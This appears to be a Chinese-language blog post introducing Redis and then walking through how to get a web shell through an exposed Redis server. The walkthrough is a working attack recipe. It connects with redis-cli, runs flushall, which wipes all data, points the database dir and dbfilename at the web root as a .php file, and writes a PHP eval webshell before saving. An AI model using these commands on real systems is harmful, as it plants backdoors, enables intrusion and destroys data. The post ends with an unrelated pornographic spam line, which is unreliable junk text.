Learn Redis & Getshell via Redis 2016-07-16

前言

redis是一個NoSQL數據庫,也就是非關系型數據庫(MySQL是關系型數據庫),是一個基于內存,的key-value型數據庫,當然他也可以保存到硬盤達到持久型。

因為看各位師傅都在發關于redis相關的東西,企業中用的也不少,所以簡單研究一下redis的用法以及用它來getshell。

安裝redis

在Ubuntu下安裝redis

sudo apt-get install redis-server

在mac下安裝redis

brew install redis

redis基礎

要研究redis來getshell,首先得明顯redis的基礎運行流程。

可以來看這篇文章:http://www.runoob.com/redis/redis-tutorial.html

我花了兩天時間把這篇文章看完了,其中也大概明白了如何利用redis來getshell。

利用redis來getshell

getshell的原理是通過配置數據庫文件目錄和地址,然后寫入數據庫一句話,最終getshell。

這篇文章里面,詳細講解了redis的配置。

可以看到其中有dbfilename,可以用來指定本地數據庫文件名,默認是dump.rdb。

dir配置可以指定本地數據庫存放目錄,把這兩點結合起來,我們再往數據庫中寫入腳本木馬,即可達到getshell的效果。

首先我們使用redis-cli連接redis:

redis-cli -h 192.168.0.16 -p 6379

隨后為了讓我們寫入的數據可以在數據庫文件靠前一點,可以先執行flushall。

flushall會清空數據庫的所有內容……,各位客官慎用。

不過好在之前看到jaychou師傅發了一個善待Redis,遠離flushall,大家可以學習學習,我這個大家當做科普就好。

flushall以后,我們來設置數據庫目錄:

CONFIG SET dir /var/www/html/

然后設置文件名:

CONFIG SET dbfilename 2.php

隨后將腳本密碼寫入數據庫:

set webshell "<?php @eval($_POST['k']) ?>"

最終執行save保存到數據庫文件:

save

然后看web目錄下,shell已然躺在里面:

1487498920

最后總得說點什么

redis getshell不算什么新技術,然而我現在才開始研究,感覺自己真是菜雞,希望師傅們多帶帶我。

一级A片不卡在线观看